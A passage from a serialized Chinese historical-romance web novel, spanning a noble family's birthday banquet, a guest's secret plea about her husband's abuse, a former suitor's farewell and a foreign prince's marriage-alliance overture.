“这点小事何必惊动父王。”秦铮笑着,“我只是有些意外,谢公子才替大周迎来了南魏使团,这是大功一件。本以为谢公子的位子还要升一升的,哪里想到,竟然这时候退了。” 苏钰索性端起茶碗,默默吃茶,并不理会两人的唇枪舌箭。 谢无衣就是丢了建章营骑的差事,显庆皇帝对他的恩宠还在。 新出炉的睿王,显庆皇帝到底是什么态度,还不好说。 就在苏钰放下茶碗之时,程喻来了。 苏珩到二门迎的他,又送至倚竹南苑,进到屋里,程喻满脸喜色,郑重向苏钰行礼,“程某特来拜寿,祝苏姑娘岁岁平安,芳华永驻。” 说话间,又拿出礼物,他的薪俸不高,接到请贴的时候又晚,能拿出来的礼物,只能是临时现买的。 明知再贵重的礼物,也难入苏钰的眼,依然花掉了所有存款。 苏钰连忙起身回礼,亲自接了礼盒,打开看了看,是一套笔墨纸砚,皆是上上品。 以程喻的情况,能送上这份礼,这是很用心了。 “程公子有心了。”苏钰笑着说。 程喻微微红了脸,有些不好意思地说道:“苏姑娘于我有大恩,又拿我当朋友,邀请我参加生辰宴,程某实在感激不尽。这套笔墨纸砚虽不是什么贵重之物,但也是程某精心挑选,希望苏姑娘能喜欢。” 苏钰微笑着点点头,“程公子的心意,我自然明白。这份礼物我很是喜欢,定会好好珍藏。” 薛雨梓见状,知道是机会来了,也连忙起身向苏钰贺生辰,“愿你岁岁有今朝,年年有今日。” 说着,也送上贺礼。 是一只水头极好的镯子,她在公主府虽然吃喝不愁,但月钱也那么一点,就是有点积蓄,可支配的银钱实在不多。 苏钰笑着接过来,看着镯子赞道:“这镯子真漂亮,薛姑娘,你有心了。” 说着,直接把镯子带到手腕上。 随即苏钰目光看向谢无衣和秦铮,心里不禁吐槽,程喻这种才是正常的。 秦铮和谢无衣进门这么久了,连一句吉利话都没说呢,光打嘴炮了。 不得不说,程喻的颜值真能打,宛若盛开的幽昙,美丽而优雅。 顿时把秦铮压下去了,连在谢无衣跟前都不见逊色。 谢无衣认得程喻,向程喻点头示意。 秦铮则显得有些好奇,看向苏钰笑着说,“这位公子,挺眼生的。” 谢无衣被逗笑了,“这京城能让王爷眼熟的,没几个吧。” 一直在皇宫当傻子,能走出皇宫,也就这几天的事。 当然是看谁都眼生。 苏钰脸上带着笑,觉得有谢无衣在真不错。 可以随时开怼,说她这个主人家,不好吐槽出口的话。 程喻愣了一下,虽然不认识秦铮,但谢无衣如此说,马上猜到秦铮身份,郑重行礼,“下官拜见王爷。” “起来吧。”秦铮笑着,上下打量着程喻,“既然自称下官,你在哪个衙门任职。” 程喻笑着说,“在下是工部司务。” 工部司务,七品官,在京城和平民百姓差不多。要不是每月能领到公主府的补贴,他只怕要挤大杂院了。 秦铮又是一愣,实在没想到,能在苏钰的生辰宴上看到七品官。 苏钰朝程喻招招手,“程大人,来我这边坐。” 与程喻坐一处好,自在又舒心。 程喻笑着上前,道了声谢,这才落座。 茶点又上了一轮,程喻的到来,让苏钰舒了口气。 在她心里,程喻属于自己人范围,不需要戒备,也不需要一句话想三回再出口。 更重要的是,程喻很会聊天,可以维持场面,不至于冷场。 程喻打开了话匣子,各种话题说个不停,主要是跟苏钰和薛雨梓说。 谢无衣明显不太想说话,至于秦铮,第一次见面,又是亲王,身份差异太大,就不想去硬舔。 苏钰有些欣慰,有人圆场,谢无衣和秦铮也没起冲突,至于眼前是安生的。 眼看着就中午了,夜烬阳和罗星一个没来。 苏钰有点失望,但看着眼前的秦铮和谢无衣,她又觉得没来也挺好,人太多也不好。 倒是关倩倩,说是去逛花园,这是逛到哪里去了。 绿川跟着,再加上府里素来有戒备,关倩倩就是想作妖,也应该搞不出事来。 “派人去找找关侧妃。”苏钰小声吩咐着胡婆子。 胡婆子会意,悄悄退了出去。 而此时花园净房里,关倩倩正在嚎啕大哭。 绿川领着关倩倩逛花园,说是逛园子,哪能真当她要闲逛,时刻防备着她作妖。 领着去的地方,也是大庭广众之下。 没几步,关倩倩说要更衣,绿川当时还想着,果然来了。 引着到了净房,绿川正欲退出外头等侯时,关倩倩突然抓住她的手,拉着她进来。 绿川吓了一大跳,正欲喊人进来,关倩倩就对着她跪下来。 “你帮我求求苏姑娘,大皇子不是人,他是畜生,求她救救我,只有她能救我。”关倩倩急切说着。 绿川担心关倩倩有什么后招,自己一个人应付不来,正想叫人进来,关倩倩开始脱衣服。 绿川彻底被吓住了,满身的伤痕,有鞭伤烧伤,新伤加旧伤。 这样的伤势,别说出现在一个高门贵女身上,就是三等丫头身上,也是主人家虐待。 “他外面装的像个正常人,其实是个变态,自从成婚那天起,他每晚都凌虐于我。”关倩倩哭的越发伤心。 “我回家向父母哭诉,父母也无可奈何,只让我忍耐。现在只有苏姑娘能救我。” 绿川惊吓之余,不禁说着,“姑娘能怎么救你。” 关倩倩哭着说,“我愿意当苏姑娘的眼线,大皇子投奔了太后,关家早就不管我的死活。” 第177章 第 177 章 开席前一刻,关倩…… 开席前一刻, 关倩倩终于逛完回来了。 她洗了脸,重新上妆,脸上带着得体的微笑, 先向秦铮见礼, “王爷。” 秦铮笑着, 一副好丈夫的模样, “头上都出汗了, 逛的可开心。” 关倩倩看向苏钰,笑着说, “这还得谢谢苏姑娘,如此热情招呼,让臣妾十分尽幸。” 这话实在假的没边,苏钰脸上笑着,“侧妃高兴就好。” 说话间, 苏钰看一眼绿川,却见绿川神情有些异样。 估摸着是关倩倩搞事了,无所谓, 她有防备, 不出大事就行。 关倩倩脸上笑意不减, 又热情招呼薛雨梓,“许久不见薛姑娘, 出落的越发漂亮了。” 薛雨梓唇角抽了抽, 脸上的笑容更勉强了,“侧妃缪赞。” 回想当年,关倩倩联合其他贵女霸凌她,没少冷言冷语,现在竟然能跟她好好说话了, 这才是活久见。 这个时间点了,该来的都来了,没来也不会来了。 因为人少,两桌都坐不满,索性分席而坐。 关倩倩和秦铮,谢无衣和薛雨梓。 苏钰本想跟程喻一起坐的,苏珩却是快了一步,与程喻同席。 “大姑娘是寿星,独自上坐才好。”苏珩笑着说。 他虽然不在京城,但进府后恶补了京城的人际关系。 没开席前,苏钰与程喻就显得过份亲密了些,谢无衣脸色不好看,秦铮的脸色也怪怪的。 现在再与程喻同席,消息传到薛迟那里就更不好了。 “珩哥儿想的周到。”苏钰想想觉得有道理。 她与程喻清白到不能再清白,但因为私交过好,反而人前显得亲密。 对于程喻,也可能长相的关系,太过于柔美没有攻击性,总给她一种无性别朋友的感觉,相处时也很难想起他是男人。 开席上菜,关倩倩十分体贴,一直给秦铮布菜。 秦铮身受着美人恩,却是看向程喻,十分好奇,“程大人与苏姑娘这般亲近,让人羡慕。” 一个七品官,登堂入室成为苏钰的坐上宾。 初时他还以为,是因为程喻的长相,这样一张脸,要是靠着当舔狗,是有资格当男宠的。 但苏钰对程喻的态度又不像,程喻虽然对苏钰亲近,但并不是舔狗,两人就是相处很好的朋友。 “什么都羡慕,只会坑了你。”谢无衣凉凉的开口,也不看秦铮,只是给自己倒着酒,“王爷娇妻在怀,别人羡慕都来不及。” 秦铮笑着,却是看了一眼薛雨梓,“谢大人想成亲还不容易,莫要佳人等太久。” 薛雨梓懵逼了一下,才反应过来,这好像是在说她。 她与谢无衣定过亲,又同住一府,现在两人又一起来赴宴,并且同坐一席。 “莫要胡说八道,坏了姑娘的闺名。”谢无衣不悦说着,对于他和薛雨梓定亲之事,他一直都十分烦感。 白白耽搁了薛雨梓的花期,都快把人拖成老姑娘了。 薛雨梓对于闺名并不是很在意,她并不想嫁人,打着哈哈把话题岔开,“台上的是春喜班吧,刚来京城不久,唱的倒是挺好。” 一般来说,高门大户会自己养戏班。但自家的戏班听多了,就会请外头的。 春喜班就是最近新进京的,特色嘛,武生很多,身材样貌都很好,耍的也好,格外受京城太太小姐们喜欢。 “正是春喜班,能得薛姑娘的喜欢,是他们的福气。”苏珩笑着把话头接了过去,转头吩咐身侧的婆子,“赏。” 早有婆子端着托盘,上面摆着金银,听苏珩的命令,当即把托盘里的金撒了上去。 打赏给了,本来正跳着的武生,忙停下来,磕头谢了恩这才继续。 戏台上再唱起来,苏钰起身去更衣。 饭也吃了,戏也听了,等她回去估计也要散场了。 如此想着,正欲回去时,就见程喻前头站着,似是在等她。 苏钰明白,这是有话想私下跟她说。 “趁着今天,正好跟姑娘辞行。”程喻笑着说。 苏钰好奇问,“你要去哪?” “福南有大型工程,工部派我下去。”程喻笑着说。 文书己经下来了,过了八月十五就动身。 福南是沿海城市,近年来被海盗骚扰,兵部与工部联合,想建防御工程。 这种工作,跟发配边疆没有关系。 他本以为自己多少有点门路,不用如此辛苦。 结果陈平找到他,说希望他去。并且向他保证,最多两年就会调回来,回来后,必然能升职加薪。 程喻很清楚,他连工部的差事都是薛迟给他的。别说陈平如此客气的跟他说,就是不客气的说,他也只能去。 福南路途遥远,辛苦是辛苦些,但出公差待遇再差也有限。 “去福南啊,也挺好的。”苏钰笑着说,“你哪天走,我给你饯行。” 程家所剩不多的血脉,这个风口浪尖上,远离京城是好事。 等薛迟登基为帝,想怎么补偿程喻都可以。 “不劳烦姑娘了。”程喻笑着说,“现在京城事多,姑娘还邀请我入府,我己经很高兴了。” 苏钰也有些无言,畅春园一趟两回,五次刺杀,想不知道都难。 “我一直都很想向姑娘道谢。”程喻说着,再次躬身向苏钰行了一个大礼,“姑娘是我的贵人,自从遇到姑娘,我人生才有了转机。” 不止是帮忙给郑家脱籍,更因这个契机而入京,才有了现在的人生。 本以为要长久留在京城,许多话不用说。而现在他要离京了,也不知道什么时候回来,总觉得应该跟苏钰好好告别一下。 “我敬你人品,真心结交,再说这些就显得见外了。”苏钰笑着说,“所谓贵人,有时候也是相互的,将来你也会是我的贵人。” 程喻眼中闪过一丝错愕,他与苏钰的身份天差地别,他实在想不出能为苏钰做什么。 “我这里祝程大人一帆风顺,前途似锦。”苏钰笑着说。 程喻告辞离开了,苏珩去送客。 苏钰回到席上,秦铮和谢无衣还在,看到苏钰回来,秦铮笑着说,“时候不走了,我也该离开了。” 苏钰并不留他,她都不知道秦铮跑过来干嘛的,笑着拱手,“恭送王爷。” “你,都不送送我吗?”秦铮忍不住说着。 程喻走,苏珩还去送呢。 他要走,苏钰是只动嘴。 苏钰很是为难的看着秦铮,那表情仿佛在说,请你识趣点,我不想送你。 秦铮却偏偏不识趣,似乎就在等苏钰开口说送他。 幸好苏珩回来的很快,苏钰笑咪咪说着,“珩哥儿代我送送睿王殿下。” “王爷,请。”苏珩低头说着。 秦铮挑挑眉,脸上依然笑着,“苏姑娘果然是,告辞。” 关倩倩紧跟着秦铮,一起离开。 台上唱着的大戏,不知何时停了下来,薛雨梓不知道去了哪里。 此时席间只剩下谢无衣一个,他给自己倒着酒,一派懒散闲适的模样。 “都走了。”谢无衣说着,把酒杯放了下来,眼中隐约带着几分醉意,看向苏钰。 苏钰脸上笑意敛了下去,她看着谢无衣,眼中闪烁着什么,回想起了一些过往。 她还记得收到第一封信时的喜悦,与谢无衣初次见面时的惊艳。 慕容宁对谢无衣很满意,门当户对,金童玉女,日子能过的很舒心。 想到此处,苏钰在谢无衣对面的位子上坐下来,突然说着,“那天你为什么没去?” 谢无衣握着酒杯的手顿住了,他怔怔看着苏钰,似乎有些反应不过来。 苏钰知道他听懂了,继续说着,“也挺好的,也是在那天,我遇上了薛迟。” “那天我被皇上召见,但我派了小厮过去,他说没有见到你。”谢无衣缓缓说着,眼中的痛楚悲伤几乎要溢出来,“是你失约了。” 苏钰愣了一下,下意识就想反驳,却不禁仔细回想当天的情况。 她当然没有失约,但是,她来早了。 因为看到薛迟,她太过于激动,都没有向薛迟确认,就回了家。 回去的太早,自然遇不上谢无衣的小厮。 想通此处,苏钰眼中带着几分迷茫,随即化成一声叹息。 原来,真相竟然是这样的。 道家所讲的,可以求官,可以财,但不能求姻缘。 因为缘来缘去,皆是命,求不得。 “你与薛迟是那天遇上的?”谢无衣只觉得不可思议。 天下间怎么有这么巧的事。 但仔细回想,苏钰与薛迟开始来往,确实是那天之后。 苏钰不欲细说,若是对谢无衣说,她把薛迟当成了他,只会让他更难受。 “我与薛迟要成亲了,成亲之前,我与你也该说清楚。”苏钰说着,目光直视着谢无衣,“缘起缘灭,到此为止。” 谢无衣看着苏钰,漂亮清透的眼眸直视着他,没有悲伤,连感情都没有多少,只是平静陈述着。 “哈哈哈哈……” 谢无衣放声大笑,情绪失控。 他想笑,又想哭。 显庆皇帝指婚时,他就在当场,晋阳长公主长性他惹出事来,一直盯着他。 其实,没有必要,他不会做什么。 因为他不管做什么,都会伤到苏钰,他舍不得。 第178章 第 178 章 苏钰给自己倒杯酒…… 苏钰给自己倒杯酒, 她向来不善酒力,对喝酒更没有兴趣。席上己经喝了几杯,再喝就会醉。 只是此时此刻,她突然想喝了。 一饮而尽, 苏钰继续给自己倒酒。 谢无衣似乎平静下来, 他没说话, 只是静静看着苏钰。 苏钰主动把事情挑破, 也就是说个清楚道明白,以后再无瓜葛, 笔友之事翻篇了。 “我该告辞了。”谢无衣站起身。 他在席上喝了不少,起身时甚至有些不稳。 苏钰并不留他,也跟着起身,又吩咐丫头,“去看看薛姑娘在哪?” 薛雨梓是跟着谢无衣一起来的, 走时自然是也一起走。 “姑娘……” 琉璃匆匆进门,顾不得眼前的情况,“南魏的太子殿下来了, 珩少爷正在迎接, 己吩咐人收拾了望梅园, 请姑娘过去。” “啊?”苏钰愣住了。 这都散场了,这时候过来干什么? 谢无衣也愣了一下, 转头问苏钰, “你请夜烬阳了?” 苏钰点头。 谢无衣道:“南魏的生辰宴都是晚上。” 大周的宴席,不管是成亲,生孩子,还是生辰宴上都是中午。 南魏不同,所有的宴席都是晚上。 半下午时过来, 晚上吃饭,这是南魏吃席的常规流程。 他会知道,是因为去迎接南魏使团时,跟对方打了大半个月的交道,知道了许多与大周不同的习俗。 苏钰有瞬间的呆滞,没想到有生活习俗上的差异。 但人己进门,此时也顾不得。 虽然原定的场所是倚竹南苑,但此刻己散场,现收拾都来不及。 与其把夜烬阳领到一片狼籍的倚竹南苑,不如另寻一处,重新收拾,就是显得冷清些,也不会显得凌乱。 “我等会再走,陪你见见夜烬阳。”谢无衣说着。 苏钰摇摇头,“不用,你喝了酒,回去吧。” “我与夜烬阳打过不少交道,此人心机深沉,只怕你应付不来。”谢无衣说着。 苏钰不禁看向他,她并不想欠谢无衣的人情。 “我与薛迟也算是兄弟,帮你也就是帮他。”谢无衣说着。 苏钰欲言又止,但客人己经进门,此时也顾不上,“多谢。” 苏珩过去迎客时,己经吩咐管事媳妇收拾望梅园,倒不至于太冷清。 苏钰过去时,夜烬阳己经在了,只有他一个,连个下人都没带。 苏钰心中有些失望,罗星不但没有以自己的身份来,甚至都没有隐藏身份来。 “见过太子殿下。”苏钰上前见礼。 虽然畅春宴的宴会上见过,但晚上的宴会,灯光本来就不好,位次又坐的远,根本就看不清长相。 此时见到,才算是看清了脸。 不胖不瘦,平平无奇。 倒不是说夜烬阳样貌不佳,而是在一众帅哥中,他确实普通。 “苏姑娘。”夜烬阳回礼,看到谢无衣,随即拱手,“谢大人。” “我己辞官,不敢称大人。”谢无衣说着。 夜烬阳既不惊讶,也不询问原由,笑着改口,“谢公子。” 临时布置的场地,再加上身上的酒气,苏钰索性向夜烬阳坦言并赔罪,“不知南魏的习俗,宴客在晚上,怠慢了太子殿下了。” 一旁的苏珩神情变了变,这次的活动,苏钰交给他了,出了这样的岔子,是他失职。 “是我来晚了。”夜烬阳笑着说,“客随主便,我该早来的。” 苏钰笑着说,“太子殿下能来,是我之荣幸,殿下请上座。” 南魏的皇族虽然没地位,但来者是客,礼貌上还得让一让的。 夜烬阳连忙推辞,“姑娘是寿星,又是主人家,该上座。” 客套推辞一番,最终还是苏钰上座,夜烬阳坐 了左下手,谢无衣坐在右下手,苏珩很自觉得退出正房没上桌。 有谢无衣在,与夜烬阳的话题找的很快,毕竟路上相处过一段子。 苏钰听俩人说话,偶尔插句话,更多的时候是在观察夜烬阳。 谨小慎微,圆滑得体,何止没有太子该有的气场威严,说话都不敢大声,与罗星的任意妄为成显明的对比。 早知道南魏皇族没地位,没想到这么没地位。 “苏先生英雄气概,我好生仰慕。”夜烬阳言语真诚。 南魏也好,北齐也罢,不管怎么恨苏天翊,对这个人心里却是服气的,只恨不是自家人。 大周的太平盛世,一半是靠军队打仗,一半就是靠他。 把其他国家搞到鸡犬不宁,就像北齐那样,皇帝太子都要干废了,就是想对大周用兵,也有心无力。 “太子殿下赞誉了。”苏钰笑着说。 夜烬阳道:“今日来到苏府,算是长见识了。不愧是大周顶流世家大族,只看这来往的下人,就气度不凡,行事井井有条,让人心生向往。” 如此恭维,苏钰听得有点怪怪的,南魏恨苏天翊恨到南魏使者破口大骂的地步。 夜烬阳做为南魏太子,这是不是恭维的过了。 谢无衣突然道,“我听说太子殿下有个妹妹,一母同胞,今年十八岁。” 平阳公主,据说美貌惊人,虽然待字闺中,却有众所周知交往亲密的男性友人们,众所周知到使团中小兵都知道。 至于是不是养男宠,自由心证,公主嘛,也不是什么大事。 夜烬阳点点头,却突然站起身来,向苏钰重重的行了一礼。 苏钰吓了大一跳,连忙起身回礼,“太子殿下何故如此?” “吾妹就拜托了。”夜烬阳神情郑重, 苏钰又是一呆,这意思,夜烬阳是要把亲妹妹嫁过来? 和亲而己,苏家甚至搞了个假儿子,南魏却要嫁真公主,不用如此吧。 “不怕姑娘笑话,我与平阳在南魏,别说地位,连性命都难保。”夜烬阳眼中悲伤尽现,虽然难以启齿,还是断断续续说了。 南魏的国情特殊,说难听一点就是没有开化,视人命如草芥。 许多巫术道具,需要特定时辰出生的女子骨头。 本来这种事都是贫家女子,怎么都摊不到皇族头上。 平阳公主的生辰八字并不符合要求,但妖妃一直欲制他们兄妹与死地。他这个太子是国师钦点的,妖妃不敢直接对他动手,就把目标打在平阳公主身上。 妖妃一直在南魏皇帝面前尽言,编造各种各样的理由借口,欲把平阳公主做成祭品。 夜烬阳实在是不得己,才想着用联姻外嫁的方式,只求保住平阳公主性命。 苏钰听得惊诧不己,不得不说各有国情,早听闻南魏有妖妃,没想到作妖方式也非常南魏化。 “我是真心把妹妹嫁过来,只求苏家能收留她,保她性命。”夜烬阳再次说着,神情郑重又认真。 苏钰连忙说着,“太子殿下言重了,和亲之事陛下己应允,又关系到两国国体,苏家必然谨慎对待。” 说话间,苏钰令人把苏珩叫过来。 夜烬阳那么在意妹妹的亲事,那就提前见见准妹夫。 至于他说的其他话,她是一个字都不相信。 苏珩来的很快,苏钰热络的介绍起来。 听到苏珩身份时,夜烬阳脸色微变,苏珩去迎接他时,他把苏珩把下人了。 还想着苏家果然不得了,下人都得如此有气度。 这哪里是下人,竟然是特供准妹夫。 苏珩礼貌周全,样貌气度,虽然挑不出错来。但气场在这里摆着,是不是正主,一眼就能看出来。 夜烬阳脸色依然没有缓合多少,貌似不经意问,“早闻苏小将军的大名,不知是否有幸相见。” 苏钰笑着道:“太子殿下来的不巧,最近家里正给他准备婚事,他去外头帮忙采买,目前不在京城。” 这是想打苏邑的主意,因为罗星的关系吗? 不管是与不是,南魏主动要和亲,要说没猫腻,她也不敢相信。 谢无衣笑着道:“早听说太子殿下对大周的戏曲很有兴趣,苏姑娘特意请最好的戏班,太子殿下要不要点两出。” 此言一出,都不用苏钰吩咐,苏珩马上安排上。 唱台上咿呀呀唱起来,苏钰也有功夫喝杯茶。 到了掌灯时分,不止望梅园灯火通明,整个苏府都是一派灯火通明之势,尤其是花园,过年的灯都点上了。 有客在,尤其是来自敌国的客人,这种时候肯定得好好显摆一番,派头做足了。 吃饭,听戏,坐席,在流程安排上,南魏的习俗无从得知,现在安排也来不及,就按大周的走。 直到戌时末,夜烬阳终于起身告辞,谢无衣也跟着道:“我也该告辞了。” 苏钰送两人至二门方转回,两人都是骑马来的,小厮们把马牵到门口,翻身上马时,夜烬阳突然笑着说,“我记得大周的宴席都是中午,谢大人这回客坐的久啊。” 客随主便他还是懂的,大周中午宴客,他该中午才来。 正常情况下,他按照南魏的习惯,下午过来赴宴,苏钰请的宾客应该散尽了。 谢无衣笑咪咪说着,“是与太子殿下有缘,本来我早该走的,得知太子要来,就特意留下来等着您。” 夜烬阳笑着,眼中隐着一丝不悦,却是笑着说,“谢公子如此热情,让我惶恐。时候不早了,就此别过。” 第179章 第 179 章 一天两场席,苏钰…… 一天两场席, 苏钰回到听雨轩,疲惫感就涌了上来。 脱了外衣,洗了手脸,苏钰靠着大引枕歪在床上。 脑子里正回想着今天的事, 就见绿川让小丫头退下, 走到自己跟前, 小声说着, “姑娘。” 苏钰问着,“关倩倩做什么了?” 绿川神情一言难尽, 把当时的情况说了一遍。 “我看她身上的伤势,并不像是假的。”绿川不禁说着。 新伤加旧伤,亲眼所见,做不得假。 都说落了架的凤凰不如鸡,但关倩倩那样的高门贵女, 竟然向她一个丫头下跪,甚至脱了衣服露出伤痕,那样苦苦哀求。 这让绿川很震惊, 她虽然小时候也吃过苦, 但进了苏府后, 她的生活一直都很好的。 在她的意识里,人的生活就是有变化, 也不该变的那么快。 别说千金小姐, 就是高门大户里的丫头,落魄起来也不该这么快。 “大皇子果然不太正常。”苏钰喃喃自语着。 一个装傻那么多年,甚至被身边的太监欺负的皇子。忍辱负重那么多年,一朝得势,心理变态也不算意外。 本以为关倩倩翻身了, 没想到竟是遇到了变态。怪不得席上关倩倩的态度大转变,面对大皇子时,那样的谨小慎微。 绿川不由的小声问,“姑娘相信关姑娘说的吗?” 被丈夫暴打,又被娘家抛弃,带着一身伤痕给自己找条活路,似乎挺合理的。 苏钰没有点头也没有摇头,只是说,“是不是真的并不重要。” 她与关倩倩并没有多大恩怨,同为女性,她同情关倩倩的遭遇,但也只限于此了。 要是假的,很舍得下本的苦肉计,说是投靠,其实就是双面密探。 要是真的,关倩倩确实值得同情。 但是以关倩倩的情商智商,指望她在秦铮那里偷到有用情报,实在太难了。 最有可能是的被秦铮反向利用,用错误的情报忽悠她。 更重要的是,苏略手上有稳定系统的情报网。 苏钰有需要可以问苏略,不但时间短,正确率高,还安全无副作用。 监察寮正使的女儿,还需要向外求情报,这是在侮辱谁呢。 “把这件事忘了,不要对任何人提起。”苏钰说着。 绿川不知道苏钰是何意,但看苏钰神色,也不敢多言,“姑娘放心,此事无人知晓。” 在应对关倩倩时,她是很谨慎的,并没有其他人看到。 “这个香袋。”苏钰把秦铮送她的香袋拿了出来,递给绿川,“交给太安,让他仔细查一查。” 当时送秦铮解毒的香袋是一时善心,现在秦铮回送她一个香袋,她可不觉得好心。 尤其是绿川说了关倩倩的遭遇,一身作不得假的伤。就是演的苦肉计,以关倩倩的性格,只怕也是不愿意的。 秦铮此人,打交道时一定要十分谨慎。 “是。”绿川接过香袋,不敢怠慢,也顾不得时间,赶紧去找太安。 苏钰闭目养神,小丫头们从外头进来。 “让厨房准备水,我洗个烧。”苏钰说着,躺了一会体力恢复了,她也该整理一下了。 “是。”绿川应着。 收拾净房还要一会,苏钰从床上起来,走到西梢间。 琉璃见状,赶紧磨墨,铺开纸张。 今天的客人,罗星没来,不用写了。 第一位是秦铮,关倩倩说他投奔了关太后,这个不需要验证。 关太后拿他当棋子给三皇子铺路,秦铮心里肯定明白。 只是他也实在无路可走,虽然是个人都惜命,但装疯卖傻一辈子,不如拼一把。 成为关太后的棋子,他至少活成了一个人样。 至于将来,大不了就是死。 皇长子,睿王。 苏钰顺势写着,既然是棋子,不能不用功,又不能太用功。 不用功,不能体现价值,关太后饶不了他。 要是太用功,早早把价值用尽,成了废子,关太后不会让他活着。 混水摸鱼,求的未必是皇位,那毕竟太遥远,活下来才最重要。 提防戒备,偶尔的时候,也许还能派上用场。 都把自己定位成棋子了,给谁当棋子不是当,没有忠心可言。 第二位客人,夜烬阳。 谢无衣对他的评价,心机深沉。 可不是深沉嘛,故意等其他人散场了才来,这也是她没想到的。 至于平阳公主要被制成祭品,他是无奈之下才想把妹妹嫁进苏家避祸,她更是一个字都不相信。 虽然好奇原由,但仔细想想,原由也不重要,南魏的人,早晚都要走。 就是夜烬阳把自己真妹妹嫁过来,也不要紧,一个外嫁而来的公主,要是能在苏家掀起风浪,苏家早就被关家打压下去了。 最有可能是冲着罗星去的,就看罗星怎么处理。 “姑娘,净房收拾妥当。”小丫头上前说着。 苏钰放下手中的笔,正欲往净房走,想了起来,吩咐着,“明早打发人去看看夏老板。” 胡婆子因为她生辰宴回来了,夏书和那里虽然另外安排了婆子。 但正值恢复期,马虎不得,还是得当心些。 *** 午夜十分,苏家众人早己入睡,鬼魅似的身影再次出现在屋顶上。 好像故地重游一般,罗星在上次坐过的屋檐上再次坐下来。 一盏茶后,苏略出现在罗星身侧。 罗星眼晴看着远方,似乎在想什么,嘴里却是嘲讽着,“守卫多有什么用,全都是废物。” 苏略只是笑,也不反驳,在罗星这种天才面前,确实都是废物。 “前面就是二太太的院子。”苏略顺着罗星的目光看过去,就是二太太的降雪阁。 上回罗星也是出现在这里,看来她是有记忆的。 罗星没作声,只是默然看着。 坐在这里看着降雪阁,让她想起了许多。 叶氏身体不好,苏天华爱惜妻子,三个孩子都是奶妈嬷嬷带着,但家庭环境和谐,一切都是美好的。 叶峰是兄长,虽然只大不了多少,却总是能摆出兄长的派头。 苏邑与她是双胞胎,老实听话,看似有些呆,但呆到极致,反而成了智慧。 有话直说,不拐弯抹角,别人跟他说什么,他也都相信。 没有太多的弯弯绕绕,反而活得轻松。 “云棠是你的替身。”苏略说着,“二太太因为你思念成疾,二老爷便命人寻了一个与苏邑长的像的女子。” 罗星道:“我知道。” 替身什么的,在她看来挺无聊。 至于心里不舒服,更是没必要,她不至于这点气量都没有了。 从来不曾缺过爱,她的人生也不需要爱来支撑。 “二太太这些年一直念着你。”苏略继续说着,“因为你丢了,与二老爷打了许多年。” 罗星看向苏略,脸上带着不耐烦,“这么会打感情牌,是觉得我在南魏,会让苏天翊头疼吗。” 远在京城的苏家人,对现在苏天翊只怕所知不多。 但做为敌人,尤其是敌对这么多年,她很了解苏天翊的手段。 有时候人杀多了,会在不知不觉中丧失人性。 苏略听得笑了,“父亲说过,你是他最理想的继承人。” 在罗星幼年时,苏天翊都起过这样的念头。 武力不能代表一切,但宗师级的武力,可以代表的太多了。 而且一般来说,能达到武道巅峰的人,其悟性气度眼界也非一般人可比。 罗星好像听到到笑话一般,“你很清楚我不会回苏家,才这么轻松说这话吧。” 苏略跟随苏天翊这么多年,出生入死,怎么可能会为他人做嫁衣。 苏略才是苏天翊的继承人,将来一切都会是他的。 “父亲希望你回苏家。”苏略说着,苏天翊的意愿就是他的意愿。“阿钰生辰,特意写了请贴给你,她也很想你。” 罗星没有出现在生辰宴上,却在半夜跑到苏家。 感情肯定是有的,就是不知道相比南魏,哪个更重要。 “我不需要别人的感情。”罗星说着,突然站起身来,看向苏略,眼中带着戒备,或者说是威胁,“不要再做多余的事,不然我不介意大开杀戒。” “你身上留着苏家的血,我不会与你起冲突。”苏略笑着说。 一力降十慧,有时候阴谋诡计在强大的武力面前,意义确实不大。 这也是寻回罗星最大的难点,若是换个普通人,甚至能简单的粗暴的把人直接捆回来。 而面对罗星,武力冲突根本就是送人头。 人影闪动,罗星消失不见。 苏略站在原处,轻轻叹了口气。 一柱香之后,罗星出现在驿馆内。 焦急着来回跺步的梁平,看到罗星,顿时松了口气,跪下迎接,“小主子。” 罗星并不理会,只是问着,“夜烬阳呢。” “太子殿下……”梁平愣了一下。 所有人都全心全意侍侯罗星,谁还会管夜烬阳在哪。 不是皇太子不重要,而是小主子太重要。 话音落,只见夜烬夜从里屋出来,恭敬跪下,“拜见小主子。” 罗星眼晴眯了起来,无形之威压,让夜烬阳背上冷汗直流。 “那么想与苏家联姻,那就把柔嘉郡主嫁过来吧。”罗星冷冷说着。 夜烬阳脸色大变,蠕动着嘴唇却没出声。 “柔嘉是你的未婚妻,定能比亲妹妹更为你解忧。”罗星说着。 第180章 第 180 章 慕容氏,南魏都不…… 慕容氏, 南魏都不过中秋,北齐倒是过中秋,只是要在大周过中秋节,北齐使团也开心不起来。 使团入京这么久, 显庆皇帝每天都在开宴会, 彰显大周的盛世。 至于具体的和谈条款, 是薛迟在主导。 因为显庆皇帝高兴, 让薛迟全权负责,不用向他汇报。 这让谈判顺利了许多, 经过一轮又一轮的谈判,中秋前一天,和谈全部内容己经敲定。 显庆皇帝十分高兴,虽然没有到割地赔款,南魏和北齐还是让了不少利, 共同承诺未来二十年内不动兵戈。 “中秋节摆擂台?”苏钰愣了愣。 太安说着,“皇上意思,以武会友, 彰显国威。” 中秋后, 两国使团就要离开了。 趁着离开前, 显庆皇帝使劲搞活动,现在提出摆擂台, 用武力把对方打倒在地上, 想想也挺爽的。 “这样的话,二叔肯定要上场了。”苏钰说着。 以武会友,要搞擂台赛。现在京城能打的,苏震岳名声大,但年龄也大了。 苏邑虽然优秀, 毕竟年龄还小。苏天华正值壮年,会是这场擂台赛的主力。 就不知道南魏会派谁上场。 “二老爷己经在准备了。”太安说着。 苏钰心中盘算着,“进京的使团,都有高手随行,其中可有难缠的角色。” 不管南魏到京城,还是北齐到京城,都是山高路远,劫匪强盗不说,虎豹豺狼更不少,没有高手随行,根本就走不到大周的京城。 太安看一眼苏钰,神情有些欲言又止,“要说武力上,也就……慕容大人了。” 最能打的当然是罗星,她要是上场,没人有机会。 其次就是慕容弦,做为慕容氏的掌权人,武力值是真不弱。 苏钰有些意外,没想到慕容弦武力值这么高。不过想想慕容宁,对于游牧民族来说,似乎还保留了最为传统的血性。 老大,就得拥有最高或者相对很高的单兵武力。 “大哥有什么安排?”苏钰问着。 “奴才不知。”太安摇头说着,“最近大爷很少在家里。” 苏钰想了想,父亲此时肯定在京城,他的安排,太安不知道也正常,又吩咐着,“程喻近期要动身去福南,安排人暗中保护,勿必把他平安送到。” 薛迟忙到睡觉的时间都没有,未必顾的上程喻。 